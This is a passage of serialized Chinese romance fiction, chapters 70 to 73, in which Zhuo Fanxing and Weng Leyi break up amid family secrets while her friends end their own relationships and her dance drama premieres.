“和我说话吧灿灿。”翁乐仪的声音十分温柔,卓繁星想,如果他就在她身边,她是绝对不舍得说出这样的话的。 卓繁星压下眼睛里的酸涩,说:“我不喜欢这样。” “那就不去管他,这是我们两个人的事。” “不是这样的。” “好,我们不去聊这个话题,你今天很累了,先休息吧。” “翁乐仪,我们不合适。” “哪里不合适?”他终于有些烦躁。“就因为一次见面?为什么只是因为他,就可以随随便便地定义我们的关系。” “是不是我谈结婚太快了。那就不谈,我们还和以前一样。你就当我从来没有提过这件事,好吗?” “灿灿。” “不是他,是我们很多方面,家庭背景,我们的工作,还有,还有很多。”卓繁星张着唇,想要列举出来,那些复杂的纠葛,乱七八糟的关系全都缠在一起。 “我说了不提结婚的事,别这样。”翁乐仪打断她。“抱歉。我们冷静一下吧,你很累了,先休息。” 这之后,他们就好像再没有通话了,各自忙碌起来。何安琪接手的店已经开始正常运营,卓繁星频繁地在剧团和工作室之间跑动,回想起那天的通话,深感矫情。她完全不需要说那些话,在他看来,仿佛是个没有得到他家人认可便很委屈的人,好像因此显得更想嫁给他了一样。 其实不是这样。 卓繁星捏着兔子的耳朵,叹气。她拿了一只袋子,将他们一起喝咖啡的杯子,她买的情侣款的拖鞋收拢起来。如果她不整理,等到这间房子被还回去,它们肯定也要被清理掉的。 邵丽丽看见她的行李箱了。 “你们”她讶异地挑了挑眉,不太敢说出那两个字。 “别难过,别难过。谈恋爱嘛,旧的不去,新的不来。”她上前抱住卓繁星。“要不要姐带你去搓一顿?喝点?一醉解千愁,第二天起来什么都忘了。” 卓繁星摇摇头。“我没有很难过。” 你可拉倒吧。邵丽丽默默地讲。她看着她提着箱子上楼。“晚饭吃什么?我来烧。”她在下面喊她。 “随便吧,我都可以。”卓繁星探出一个脑袋。“我们出去喝酒吧。” 酒吧里,邵丽丽看着捧着酒杯的女人,你看,她说什么,失恋哪有这么容易的。 “为什么分呀?”她忍不住问她。 卓繁星说:“我们没有分。” 邵丽丽瞅了她一眼,好像在说那您在干啥。 “吵架了?”邵丽丽试探地开口。 卓繁星眨了两下眼睛,认真地摇头。“不算吧。” “那是几个意思?” “他爸不喜欢我。” “嗯?”邵丽丽睁大两只眼睛。“你见过他父母啦?他家里条件摆在那里,挑剔点也正常。只要翁乐仪不变心就好了,现在都是自由恋爱。再说他家里有皇位要继承吗?再怎么样也不会” “他爸好像和我妈有关系。” 邵丽丽一口酒喷出来,急着找纸巾。“woc,你能不能给个准备。” “什么情况?” 卓繁星说:“我翻到我妈的日记,她好像一直和他爸爸有联系。” “所以他爸爸因为这件事反对你们在一起?” 卓繁星想了想。“可能吧。”他不是还嫌弃她身体不好么。 “翁乐仪知不知道他爸出轨。” “他爸妈早离婚了,他爸爸也没有再婚。” “那有什么?” “可是我妈妈结婚了。” 邵丽丽挠头。“艹,好复杂的关系。那和你们两个有什么关系?” “不会觉得很奇怪吗?” “还好吧,叔叔阿姨比我们会玩啦。” 卓繁星一囧,有点被说服的感觉。 过了两天,韩律师联系卓繁星,说有几份文件需要她签名。 “邮递过来的吗?” 那边顿了顿说:“额,蒋先生刚好回国,他是画室的法人,他拿过来的。” 卓繁星愣了一下。“是什么文件?” “一些画作的赠予文件。” 卓繁星在剧团的时候就接到了电话,说是快递公司送货上门。“你放家里吧,我人不在。” “很大的一样东西,最好您本人签收。” 卓繁星皱眉,实在想不起来是什么东西。对方说:“是国际快递。” 或许是画。 卓繁星还没来得及回家,蒋凌州的信息便来了,约她见面。 “你不用这么防备我,我只是刚好回国。上车吧。”蒋凌州下车开门。外面下着雨,细雨纷纷,打在人脸上也不冷。 “卓老师。”台阶上,几个年轻人走下来,好奇地向这边打量。 卓繁星忙不迭地上了车。 “这些文件你其实给我舅舅就好,我保管不了这些画。” “我知道,我只是将关于你的那幅寄给你了。”蒋凌州把车里的纸巾抽出来给她。 “谢谢。”卓繁星一时没想到是哪幅。 卓繁星在开出去一段路后,说:“你找个地方停下,要签什么文件,签好就好。” “我顺便送你回去。” “不用了,我自己回去。” “卓繁星,我只是送你回去。”蒋凌州抿唇看向前方。 雨刮器扫过挡风玻璃,发出轻而痒的声音,沙沙,沙沙 卓繁星看着人行道上的雨伞,好多人淋着雨却没有那么慌张。 信号灯照在玻璃上,雨珠也变了颜色。 蒋凌州看着她柔软的侧脸,有一瞬间的恍惚,仿佛多年前在排练室外的下午。刺耳的鸣笛声响起,他猝然抬头,前排的车子已经开出去很远。 邵丽丽回到家里,那幅巨大的画就在门外。 翁乐仪已经等了很久,还好有他在,不然这幅画她真的搬不进去。 “繁星说是她妈妈的画,寄回来的。这么大。”他们两个一起将外面的纸箱拆掉,这几天下雨,纸箱都被泡软了。 “还好里面包的严实,繁星胆子也太大了,要是被淋湿了怎么办。”邵丽丽隔着塑料膜,看见了画上的少女。“这画的是繁星吧。对吧。画的真好。”她欣赏了一下。 邵丽丽给卓繁星发信息:【画我给你拿进来啦。你回来了吗?翁乐仪在等你。】 车上,卓繁星将最后一份文件签好,交给蒋凌州。“就这些吗?” “对。”他接过来放在档案袋里。“还有一件事,前两天有个人到画室来过,很奇怪,毕竟那个地方是私人的,很少有人去。他和你母亲好像认识,他还不知道你妈妈去世的事,听见的时候很吃惊。他们好像关系很亲密。” 卓繁星诧异道:“韩律师认识他吗?” “不认识。如果你需要,我可以托人查一下。” “好的,谢谢。” 卓繁星看了一眼手机,有些慌张地顿了下。 “怎么了?” “没事,谢谢。”卓繁星推开车门,细密的雨丝很快落在脸上。隔着朦胧的雨雾,她看见屋檐下的人,怔忪地站在原地。 【作者有话说】 上一章,修改了一下[烟花]《 》 第71章【VIP】 第71章 ◎分手(三)◎ 卓繁星回到家,邵丽丽奇怪地看了她一眼。“没碰见翁乐仪吗?他下去了呀。” “碰见了。”卓繁星走到阳台上。这个角度能看见蒋凌州的车。 “看什么?”邵丽丽走到她身边。 “没什么。”卓繁星转过头,那幅画横在客厅当中,挡住大半条路。 “我正想和你说,这个怎么办?你不如放翁乐仪的公寓里。” “我会想办法的,先暂时放一下,我会尽快的。” “我没催你。不用急。”邵丽丽解释道。 卓繁星将文件放到房间里,匆匆下楼。“我先下去了。” “好,带把伞吧。” “不用,毛毛雨。” 回应邵丽丽的是一声关门声。邵丽丽再走到阳台上,下面的车子已经开走了。 卓繁星走出电梯,翁乐仪就站在屋檐下,她方才看见他的地方。 绵绵的雨丝,即便很小,可架不住一直落,地上都是湿漉漉的。潮湿的环境幸好不是夏天,春天的湿润到底是不一样的,有一种温和的清凉,沁人心脾。 卓繁星走过物业放的几张硬纸板,它们如今已经被湿脚印踩的乱七八糟。 翁乐仪站在靠墙的一边,烟没抽完,卓繁星想他或许要抽完了再走。 “怎么回来了?”她想总要说点什么。 翁乐仪说:“我们已经快两周没见了。” 卓繁星听见便抬头看他。圆圆的眼睛里,似乎融进了外面的水汽。当然她不至于哭出来,只是在眼珠颤动的过程中,有种欲说还休的感觉,让人心生怜惜。她的嘴唇一并跟着动了动,最后合上,全又咽回去。 “洪旺要订婚了。” “什么?”卓繁星错愕。她想邵丽丽不知道这件事,不然她不会那么自然。 “凌州收到了邀请,我也是。” “在这里?” “不,在广市。凌州今天就会过去。” “他家里安排的对象?” “应该是。” 卓繁星顿了顿说:“邵丽丽或许还不知道。” “或许吧。” 沙沙的雨声,卓繁星自己也不确定是不是雨的声音,很规律。骑着电瓶车的外卖员在这栋楼停下。他确认一下楼号,停好车,投过来好奇的一眼。 翁乐仪走到对面,将烟头扔掉。卓繁星让开门的位置,有点迟疑,该不该跟过去。 所幸,翁乐仪很快就回来了。 灰色的风衣,经典款式,高大的个子在雨雾中有种画中的朦胧感,显得不真实。 “我们去”卓繁星试图开口,在他走到身边时又停下。 他的气息笼罩着她,衣服碰到了一起,不是像刚才那样远的距离。 沿着碰到一起的衣服,卓繁星对上他的目光。他眉心微微皱着,有些困惑——或许他也不明白,他们为什么好像突然就陌生了很多。 这种古怪的气氛不可言说,可实实在在的存在,就好像飘在空气中的雨雾,打在脸上的时候分明凉丝丝,却什么也摸不到,连擦都显得莫名。 他们不会在对上眼神时便雀跃,不带其他的情绪,单纯的开心,如今这种情绪依然存在,只是还有一种担忧,让它被掩在了下面。 卓繁星试图再开口的时候,翁乐仪俯身下来吻住了她。 他的手托着她的后颈,卓繁星感觉到他身上清润的凉意,已经和风里的气息一样。还有树叶的气息,植物的味道,有点苦涩。 走出来的外卖小哥惊讶地哦了一声,他踩的硬纸板也终于被彻底分开,差点让他滑了一跤。他跨上那辆电瓶车,逗趣地朝他们笑笑才开走。 “灿灿。”卓繁星听见翁乐仪胸膛里发出的笑声。她的手握住他的那只手臂,不去想。 公寓门一合上,他们就抱在了一起。 卓繁星感觉到他的情绪,像是蓄势待发的火山,因为压抑太久,所以格外炙热。 她的脸被抬起,背贴着墙壁,没有后退的空间。 翁乐仪的头发扫过她的脸,却将她的头发挽到耳朵后面。“灿灿。” 卓繁星感觉到呼吸被抢夺,太热了,她的空间只有那么一点,全被他占据。连呼吸的空气,都是他的气息。他们的嘴唇贴在一起,卓繁星被咬疼了,像是狼叼着肉一样,死都不肯松开。 “别再叫我了。”卓繁星想在他喊她名字的时候这样说。可她根本没有说的时候。 灯光随着杯子落地的声音一起亮起,像是一切戛然而止的信号。 那是她上次来收拾好,还没来得及带走的东西。她挑选的拖鞋、咖啡杯、情侣款的杯垫 翁乐仪有些疑惑地松开她。 “安杰说,你似乎不打算在这里住了。”他收到了安杰的信息,只不过他以为她只是觉得他的公寓太远。这很正常不是吗,他来看她的时候,还是一切正常。 “翁乐仪”卓繁星追过去,看见他进入卧室,打开衣柜。 她的那边都收拾的干干净净,如今只有他剩下的几件衣服,冷淡地注视着这一切。 翁乐仪的目光落在她身上,再不是温和的,而是一种比疑惑更强烈的情绪。 卓繁星感觉自己的舌头像是僵住了,喉咙也全被堵住。 “告诉我原因。” 卓繁星说:“我只是很长时间不过来了” “所以要把所有的东西都清理干净。拖鞋,杯子?”他冷冷地注视着她。 卓繁星说:“你在津市,你也没有经常回来,为什么还要” “我说了我会尽力回来!美国之后,我们在京市见过面,后来我出差了,我和你联系过,我以为你并不想要见我。灿灿,我今天还是过来了。因为我很想你,我受不了你对我的冷淡了。”翁乐仪很少有这样激烈的情绪,可是他感觉到今天绝对会是他记忆深刻的一天,他恨不得将自己全部摊在她面前。 “我没有冷淡。”卓繁星咬着唇说出这句话。 在情绪如同烧沸的水,又要往上蹿的时候,手机突然响起来,卓繁星低头看着亮起的屏幕,在接听起来的时候,翁乐仪已经走了出去。 “灵均。”卓繁星不知道自己是不是松了口气更多一些。 “灿灿,我取消婚礼了。” “什么?”卓繁星其实并没有很明白她的意思,她的心神还在翁乐仪身上,所以又问了一遍。“怎么了?为什么会这样?” “他原来也不想和我结婚。他在这个过程中也很痛苦。”姚灵均并没有哭,她只是有种匪夷所思,为什么两个快要步入婚姻的人都一致的感觉到痛苦。 那为什么还要结婚?为什么要抛弃现在的生活节奏,去追求那个未知的东西。他们就好像硬要把鞋子穿进去的人。哪怕脚被磨出血来,都要试一试。起码得穿上走一段路。 “舅妈他们知道吗?”卓繁星试图找回自己的思绪。 “我不知道怎么开口。酒店那边我会和胡昊天去说,可是通知出去的亲戚朋友我想想就头大。” “你们都想好了?达成一致了?”卓繁星头痛地抚着脑袋。 “他去看心理医生了。”灵均突然道:“他说他现在听见我还有他妈妈的声音,会紧张的发抖,然后想吐。越临近结婚,他的症状就越严重。他几个晚上没有睡好了,这次是在公司昏过去了。” “” “你是不是觉得难以置信?”姚灵均苦笑道。 “那也许舅妈不会怪你。”卓繁星心不在焉地开口。 “呵,你知道他还和我说了一句什么话吗?他说我特别像我妈。他感觉以后我们结婚了,我们就会像我爸妈一样。而很巧的是,他父母也是这样。他觉得窒息,越想越恐怖。” “灿灿,现在也不会有什么房子的事了。我会让妈把钱还给秦奶奶。我知道俞阿姨的想法这样我们也不欠她什么。当然你和翁乐仪的事,就是你们两个人的事。我只是想让你放心,你不用想那么多。” 电话挂断,卓繁星坐了一会儿才出去。 翁乐仪坐在阳台上,外面的雨短暂地停了。他坐在椅子上,抽着烟,膝盖上放着一瓶啤酒。 卓繁星走过去,他看了一眼她,又转回去。 “灵均说婚礼取消了。”卓繁星靠在阳台门的位置,并没有进去,仿佛再进一步就是冒犯。刚见面的生疏感又回来了。 翁乐仪看过来。“为什么?” 卓繁星将她对象严重的症状说给他听。翁乐仪先是惊讶,随即谑道:“你也是这样吗?抱歉,我只是觉得或许会这样。你放心,我不会再提,你不用紧张。” “我没有紧张。”卓繁星感觉到一丝凉意从外面缓缓侵入到身体里,让她轻微发抖。可分明气温合适,是个舒服的天。 “对不起,我应该提前和你说。我只是很长时间不过来了” 卡兹一声,那只易拉罐被捏的凹陷进去。“我知道了。”他这样回她。 他突然想起来,叼着烟,空出手从口袋里拿出一只兔子钥匙扣。“我妈自己勾的,她给你的。” 卓繁星接过来,他们的手指没有丝毫触碰。翁乐仪在她接过来的瞬间,就松开手。 卓繁星看着手上这只色彩活泼的毛线兔子,只剩下机械地张口:“帮我谢谢阿姨,很好看,我很喜欢。” 翁乐仪无所谓地嗯了一声。 一滴雨点落在脸上,不知道什么时候又开始零星地下起来。卓繁星意外地抬头,眼睛里的水光在眼珠转动的时候闪烁着。它们就像缓缓积蓄的水洼,好在她的眼眶足够大。她在低头的时候,对上他不知何时看过来的眼睛。 “你明天走吗?”卓繁星听见自己的声音很轻,仿佛是身体里的另一个人在问。 “什么?” “去广市。” 翁乐仪的眼睛瞬间抬起,他看着远处黑沉沉的天幕,笑道:“你想去吗?凌州不知道你和洪旺认识。”他将烟在啤酒罐里点了点。 卓繁星不明白他的意思。要么她还是先离开,邵丽丽还不知道这个消息。她要告诉她吗,还是明天再说。她脑子里一片混乱,可是不论如何,先离开这儿。 “我先回去了。” 她转过身。翁乐仪的声音在身后响起。 “我说过我不会去广市,我是因为你回来的。我说过这件事,灿灿。可你呢?你在想什么?” 那股木制的,轻微苦涩的气息缓缓飘近,卓繁星有种脑袋发胀的窒息感,好像鼻塞久了的人。她必须到外面的空间去,这样才能呼吸。 “我甚至都不会从你口中知道你母亲去世的事。你真的喜欢我吗?还是你喜欢的人一直都没变过。” 【作者有话说】 让我们大声宣布:今天是闺蜜三人组集体分手日[小丑] 让我们喊出我们的口号:断情绝爱,才能发财[烟花][烟花][烟花]《 》 第72章【VIP】 第72章 ◎分手(四)◎ 卓繁星夜里醒来,手机上的时间显示3点钟。她最近经常这个时间醒过来,然后稀里糊涂地又睡过去。 或许是季节交替,有时到了早上还要醒一次,约莫是六点钟的时候。这时候再睡过去就不行了,会越睡越累,起不来。 今天似乎同往常一样,然而卓繁星听见一些声音。她靠在枕头上,翻了个身,确认这声音真不是自己的幻觉,才掀开被子爬起来。 楼梯下面的灯亮了小小的一盏。 “邵丽丽?” 她轻声喊道,下面的人抬头看过来。“我吵醒你了?” 卓繁星说:“我自己醒的。”她走下去,早早就闻见了泡面的味道。 “你饿醒了?”卓繁星知道她晚饭没吃,那时候洪旺找来,两个人吵了一架。 邵丽丽一句话将他骂走。“你想让我给你做小三。你也不看看自己配不配?” 洪旺当时就气的一佛出世,二佛升天,口不择言道:“这种事你又不是没做过!” “是,我做过!可是你我看不上,我他妈再做三也不找你!煞笔,贱男,滚吧!” 邵丽丽跳起来在他脸上抓了三道。他捂着脸走了。 他一走,邵丽丽说自己气的胃疼,早早就窝房间里去了。 “你要不要来点?”邵丽丽问她。“我分你点,多了也没有,这包还是我扒出来的,都快过期了。” 卓繁星说:“上次我爸他们不是拿了一点饺子过来。” 邵丽丽叹气。“我就想吃点泡面。应景。” 卓繁星被逗笑了,好像是这样,吃饺子倒是有种喜感。 “你也睡不着?” 她倒了杯水坐在她身边,邵丽丽问她。 卓繁星含糊地嗯了一声,抬头一看,那幅画还横在客厅里。 邵丽丽跟着一道看过去,吐槽道:“你别说,半夜里还有点怵。” 卓繁星无奈道:“我还没找到地方放。” “没事儿,放着呗。反正咱们两个白天都不在家,晚上回来就睡觉,客厅又用不上。哎,走开啦。” 小八跳到桌子上,嗅着邵丽丽的泡面。卓繁星干脆将它抱在怀里。 “你和翁乐仪还没好吗?”邵丽丽看她那样子就知道八九不离十,上次夜里回来,失魂落魄的。 “他不是来找你了。” 卓繁星说:“洪旺也来了。” “那是一回事儿吗?”邵丽丽翻了好大一个白眼。“翁乐仪可比他好了不知道哪儿去了。别提那个死渣男,晦气。” “你这次好像不怎么伤心。”卓繁星小小声地讲。 邵丽丽无所谓地点头。“有准备了呀。我知道他看不起我,怎么会找我结婚。最多就是玩玩啦。我上次可能还有点点幻想吧,这次一点点都没有。”她两根手指头比了一下。 “我今天累死了好吧,他还要来讨嫌。我想着他有订婚对象了,那大家都心知肚明就好啦,赛有那拉,哪里知道他做的这种打算。” 邵丽丽讲起来就恶心,把手机翻出来给卓繁星看。“我把他拉黑了,烦死了。我上班都累死了,还要处理这种破事。” 卓繁星放心地点头。“我还当你又深夜买醉。” “我才没工夫。先前不是报了个英文班,现在派上用场了呀,搞不好最近要去外地培训。” “升职加薪了?” “还不确定。”她眉飞色舞。“要是真成了,也算洪旺做点好事啦。算了,不咒他了。希望他和他老婆百年好合吧。” 卓繁星有些羡慕地看着她。她最近忙起来的时候还好,可一闲下来忍不住就会低落。 “还是上次那个事吗?”邵丽丽察觉了问她。“你没有和他讲啊?” 卓繁星说:“不知道怎么开口。” “那你这么介意,起码得告诉他吧,不然他稀里糊涂的,会觉得很奇怪吧。你自己过不去那关?” “其实我没明白你为什么这么介意?虽然翁乐仪的爸爸确实反对你们,可是我感觉也不至于要分手吧。人家父母反对,不是反而让小情侣更坚定了,怎么到你这里,好么,掉头就跑。我看他爸爸根本没使劲,起码要出个面,说给你五百万离开我儿子这种话吧。” “真的呀。”邵丽丽被卓繁星推了一把。“你也太老实了。” “所以关键还是你自己,你别扭什么呢?” 邵丽丽想,听她讲的,她和她妈妈也不亲,怎么就那么过不去了。再说,这事儿还是翁乐仪的爸爸更尴尬吧,她心虚什么。 卓繁星过了半晌说:“我感觉我和我妈挺像的。” 邵丽丽吃了一半扭头,愣道:“就别扭这个?” “我不知道。”卓繁星困惑地眨了下眼睛。“我很讨厌这种感觉。就好像”阴魂不散,她绕来绕去,还是有她的影子。 还有一种对翁乐仪爸爸的讨厌。当初他不肯娶姚馨雅,是觉得她配不上他家的条件?那难怪他如今看不上她。 是同样的道理。 更甚在他眼里,她成了勾引他儿子的人,里面不知道有没有她妈妈的手笔。他在看见她的时候,肯定是竖起了一百倍的戒心。 她怎么就那么不争气,要和姚馨雅一样,就栽在姓翁的男人身上了。 不过她肯定同她不一样。 “乖乖。”邵丽丽摸了摸她的脑袋。“没发烧啊。怎么就脑袋发昏呢。你犟什么?这和翁乐仪也没关系啊。” 卓繁星说:“你没见过,他和他爸长得很像。他以后老了就是那样。” “你这是迁怒啊。” 卓繁星瞪圆了眼睛,很快就泄了气,整个人往沙发上一躺。 “我知道自己很过分。” 邵丽丽听着她低落的声音,赶紧安慰道:“还好啦,还好啦。正常人都会觉得奇怪,你和他说清楚就好了。” 不是的。 卓繁星把脸埋在小八肚子里。她只是习惯了一个人,她能处理好。以前也没有人要听呀。 即便他没有去美国,她也会很顺利地办好事情回来。 这不是什么很光彩的事,所以她并不想要大张旗鼓。她也并没有伤心,因为她和姚馨雅本来就不亲近。 可是他来了。一切都不一样了。 “繁星。”邵丽丽摸着她的头发。 卓繁星没出声,眼泪将猫毛都粘到了脸上。 邵丽丽没再讲话,只是一下一下摸着她的背。 “没事,我没事。我上去睡觉了。”她一松手,小八就飞一般地逃离了。 卓繁星在第二天睡迟了,就像前几天一样,一旦6点多醒过来,再睡下去,便不可避免地越睡越累。 所幸今天上午她没有工作,她可以慢吞吞地爬起来。阳光已经洒进来,落在大半个客厅里。客厅里那幅画也被照的金灿灿的,因为它,这场景真像是刚搬进来的样子。 屋里的一切都很安静,邵丽丽早就上班去了。她给小八喂过粮了,所以它很悠闲,一点也不热情。阳光下,那根毛茸茸的尾巴高高竖着,在尾巴尖那里打个弯,像一条搞怪的小蛇。 卓繁星看的笑起来,拍了照,打开微信,瞬间顿住。 那个繁星头像的人,她最近已经点开了无数遍。可是没有一次有勇气发出一条信息。 卓繁星看着温暖的客厅,心里却像下起了雨。 这天下午,她接到一通电话,是翁乐仪的助理安杰打来的。 卓繁星在他自报家门的时候,愣了许久。 “对,翁总的那间公寓要退租,里面的物品需要清理掉。您上次整理了一些,需要我给您拿过来吗?” “卓小姐?” “我自己去吧,我现在就过去。密码有更换过吗?” “还没有,您直接进去就好。” 卓繁星在太阳快落山的时候赶到了那间公寓。一切似乎还是那天的样子,她理好的那只袋子还倾倒在地。 卓繁星把它拾起来。她记得那天有一只杯子掉出来了。她四下看了看,没有踪影,最后干脆趴在地上,终于在沙发下面找到了它。 卓繁星一只手撑着地,一只手去够它,有点艰难。她的脸贴到地面上,借着手指的力量,将它往外勾了一点,才将它拿了出来。 卓繁星抱着这只杯子,是翁乐仪的那只。上面的黑色猫猫会探出头来,亲吻另一只。 卓繁星怔怔望着,直到感觉脸上湿漉漉的,她有些奇怪地摸了一下。 公寓的采光极好,即便是太阳快落山了,依然会有小部分的光芒。它将整间公寓切成了两部分,一部分还带着温暖的余晖,还有一部分隐在阴影里。沙发上一道分明的切割线,一直延续到墙壁上。 卓繁星突然想到早上家里的客厅。她明天早上还能见到,可这里她或许是最后一次看见了。 一股巨大的失重感瞬间席卷全身,像是突然掉下了深渊。 卓繁星拿出手机,拨通那个她看了无数遍,却没有打出去的电话。 等待的过程就像被无限放大的心跳,一点点冲击着耳膜。 卓繁星在电话接通的瞬间,深深吸了口气。 “灿灿。”还是他先开口。 “嗯。”卓繁星擦了一下眼泪,缓了缓说:“翁乐仪,我想说对不起我之前没有” “没关系。”翁乐仪打断道。“那间公寓我让安杰去处理了。” “我知道,他今天联系我了。” “好。”似乎有人在叫他,他低声应了一句。“还有事吗?” “没。”她急匆匆地转口:“你在忙吗?”她不想挂断电话。 “对。” “那下次” 卓繁星的话又被截断,他的声音是令她陌生的疏离。“灿灿,或许我们真的不合适。就像你说的” 他顿了顿道:“再见,灿灿。” “再见。” 【作者有话说】 我喜欢虐我的小情侣,桀桀桀——后娘咆哮o( ̄▽ ̄)d《 》 第73章【END】 第73章 ◎happyending◎ “再见。” 客厅里的阳光不知何时只剩下了一个角,整间屋子都暗下来。一并带走的还有温度。 再见。 卓繁星又默念了一遍。她感觉自己的情绪似乎下一秒就要喷涌而出,不受控制。她势必会这样,眼泪要像要下一场暴雨。可并没有。它们只是在她心里掀起了巨浪,可很快就落了下去。 就好像它挣脱不了地球的引力,卓繁星也有自己的引力。它会让它们全都被束缚在身体这座躯壳里,成功的看不出痕迹。 她擅长于此,不是么。 卓繁星将那只杯子放回袋子里,走进卧室。 翁乐仪的衣服还没来得及整理。同她一样,多是冬天的衣服。呢大衣、西服、加绒的套头衫,还有毛衣。卓繁星拿着一只衣袖,温软的触感就仿佛他这个人一样。 他们是秋天相遇的,天气转凉的时候,经过一整个冬天,如今春天到了,变暖了,他们却要分开了。 卓繁星躺在床上,像之前无数个夜晚一样。他们在这里拥抱、亲吻,一起入睡。其实他们已经很久没在这张床上睡觉了,就像他说的,他们已经很久没见面了。可是这里似乎还留存着一些气息。 卓繁星闭上眼,在睡过去之前还在提醒自己记得把浴室里的洗发水和沐浴露带上,她很喜欢这个味道。放在这里,它们只会被丢弃。所以,她还是带走的好。 再醒来,屋里已经变得黑漆漆的,窗外的建筑透来零星的灯光,怀里的羊毛西装被揉的不成样子。 白天黑夜、黑夜白天,时间流逝的很快,于卓繁星而言并非坏事。 天气开始变热,人们脱下外套,穿上短袖,拥挤的地铁里又开始有了潮热的体味,消毒水的味道丝毫不起作用。 卓繁星只有在偶尔一个人的时候,会突然想起翁乐仪,许多时候是在通勤的路上。尤其在工作结束后,大脑放空,看着穿梭的地下通道,对面的玻璃上映出自己疲惫的脸,她会恍然——噢,他们好像已经分开两个多月了。 舞剧的编排基本结束,只是后续需要做一些简单的微调。在6月末,即将进行试演。卓繁星很紧张,这是她第一次参与到这样大型的项目中来。 她在演出前的一个星期,基本没有睡好觉。梦里总是会出现各种突发情况,或者水平不够招致的批评。尽管她和林老师经常沟通,她对于他们的动作设计,编排都给出了很好的评价,包括在内部的排练过程中,效果都不错。可是不到最后演出,谁也不知道最终的呈现效果。 终于到了演出当天。那天天气并不好,有暴雨。 卓繁星感觉走进剧场的人群,或多或少都带着生涩的水汽。剧院外天色阴郁,狂躁的雨点不停地冲刷着地面。后台的工作人员也像这些雨点一样,带着一种燥热的兴奋。 Y市剧团并非没有进行过大型的演出,只是这次是首次进行原创设计,而舞剧的打磨、审美并非一朝一夕就能建立的。卓繁星在这个过程中,结识许多有想法的老师,并且受益良多。 舞剧取材自Y市渔港的抗战故事,情节简单,节奏紧凑,对于初次尝试原创剧本的剧团来说,已经是不小的挑战。 直到谢幕,全场响起热烈的掌声。卓繁星的心才算彻底放下来。 她看着舞台上的主演们挺拔着身姿接受掌声,或飘逸,或灵动。既有渔民打扮的男舞者,摘下草帽,不羁地做了个干净利落地侧翻,然后谢幕,又有穿着蓝衣黑裙,饰演女学生的演员,踮着脚尖,仰着头,展示着美好与希望。 卓繁星在他们下台时疯狂地鼓掌,手都拍红了也没有知觉。 直到怀里被推进来一捧花。 带着小帽,穿着褂子,饰演男二号的徐昆,露出一口大白牙,笑的分外耀眼。“辛苦卓老师了。” “是啊,辛苦卓老师了。”旁边的姑娘们跟着拍手。 “谢谢。”卓繁星木讷,即便内心激动不已,却不会表达。她眼睛亮晶晶的,被这些姑娘们一个接一个的拥抱。 “你们真的很棒。”卓繁星拍着她们的肩,仿佛看见以前的自己。 她看见徐昆张开的手,明显愣了一下。 “谢谢。你表演的很精彩。”卓繁星在说这句话的时候,就被他一下托举着抱了起来。 周围响起欢呼的笑声,卓繁星被抱着转了好几个圈,才被放下来。 卓繁星在这个夜晚,在家中和邵丽丽小酌了一杯。 “这幅画我已经安排好了,马上就会寄走了。” “送去哪儿?”邵丽丽稀奇道,她都已经习惯了回家看到它了,一说要送走,竟然还有些不习惯。“乡下你爸那儿吗?” “京市那边有画廊联系我,想做画展,我干脆就寄过去了。” 邵丽丽喝了一口酒,很实际地问道:“免费的?” 卓繁星老实点头。“不然呢。我妈还有很多画在我舅舅家,我想这幅画到时候也交给他们。这是好事呀,藏在家里也没人能看懂它们的价值。” 过了几天,姚灵均电话打来,询问她要不要去参加画展。 “那边给了邀请函。姑姑的画这次占了大头,包吃包住包玩,应该还有什么礼品吧。你真不来?” 卓繁星说:“我这边舞剧马上就要正式演出了,再说放暑假了,工作室也会很忙的。” 姚灵均叹气,磨道:“你也给自己放个假啊。” “我又不像你,我没有寒暑假啊。” “那我来找你吧。” “行啊。”卓繁星轻轻笑了下。“那边画展结束了,你帮我把礼品拿了再来。” “切,我还以为你真的不在乎呢。” 卓繁星说:“你自己说的呀,便宜不占白不占。” 姚灵均停顿了一下说:“我听说翁乐仪的妈妈是那间画廊的股东。” “噢,所以呢?” “你是真听不懂还是装不懂。”那头的声音很无奈。 “我们已经分手了。”卓繁星轻声提醒她。 感谢忙碌的工作,让卓繁星在经历开头的煎熬后,迅速平静下来。她不会再去频繁地看手机,也取消了他的置顶。 就好像戒烟一样,她做好难受的预期,这会让她不那么惊慌失措。 痛苦和突然的痛苦绝对是不一样的。卓繁星庆幸自己早就设想过了很多遍这样的结果。 不过,在夏天还没到来的时候,在翁乐仪提出分手后大约一周的样子,卓繁星试图联系过他。 那天,她接到了蒋凌洲的电话。他先前说的那位可疑的男士,已经查到了他的身份。他居住在洛杉矶,经营着一家酒吧。他有妻子,两个孩子。四十五岁,名字叫WilliamHawke。 “他应该和你母亲是情人关系。” 蒋凌洲说完停顿了许久,直到卓繁星询问他:“那他是有什么事要找她吗?” “能有什么事,他们在一起很多年。” 卓繁星在下了地铁后,便给翁乐仪打去了电话,电话并没有被接通。两个电话都没有。 卓繁星坐在路边的椅子上,才察觉到很晒。 太阳正当空,可是估计是太紧张了,所以没有感受到。她只觉得很热,紧张、期待。 可是或许他已经对她彻底失望了。他觉得她封闭、别扭、自私、难以沟通,他已经做的很好了,只是仍旧没办法改变她的性格。 他已经很体面了,卓繁星想,她不该再打扰他,不然他会觉得她更加无语。 卓繁星发誓,她除了他的一件羊毛西装外,再没有拿其他的东西,当然那只收好的袋子不算,那是他本来就不要的东西。 接着就是越来越热的天气。 卓繁星走出熟悉地铁站,狠狠舒了口气。刚好驶过一辆迷你五菱,贴了粉红色的车衣,上面画了线条小狗,卓繁星注视着它驶出很远。要不要买辆小电车吧,她突然冒出来这样的想法。 这样她就不用挤地铁了。而同样的,她就不会频繁地想起他。开车这件事已经足够占据她全部的心神。 京市,蒋濯衣听着电话那头的回复,看了一眼坐在沙发上的儿子。 他刚刚运动好,因为在家里,所以没有套上假肢,运动短裤下面的一条腿是消失的。 蒋濯衣客气地对那头说了谢谢,并表示她会按照原定的计划出席,以及给姚家准备的位置务必要是最核心的位置。到时两位老人说不定也要来,请再安排一间休息室。 电话挂断,蒋濯衣看着那头分明支着耳朵的人说:“她拒绝了,工作繁忙。” 翁乐仪的眼睫颤了颤,翻了一页膝盖上的书。 蒋濯衣悄然叹了口气,坐在他身旁。“你很想她。”她几乎不是问句。 “没有。”他说的很快。 “你在生气。” “没有。”翁乐仪起身离开,走到唱片机前,将操作杆抬起。里面的声音令人烦躁。 蒋濯衣撑着沙发扶手,说:“反正对于你爸爸那种看法,我是不屑一顾的。他一向是这样,我都习惯了。可我不想看到你因为他失恋。” 翁乐仪说:“和他无关。” “那为什么?”她就觉得这实在不是什么理由。她也不相信蒋廷川能对他施加这样大的影响,如果真是这样,那失望的反而应该是他。 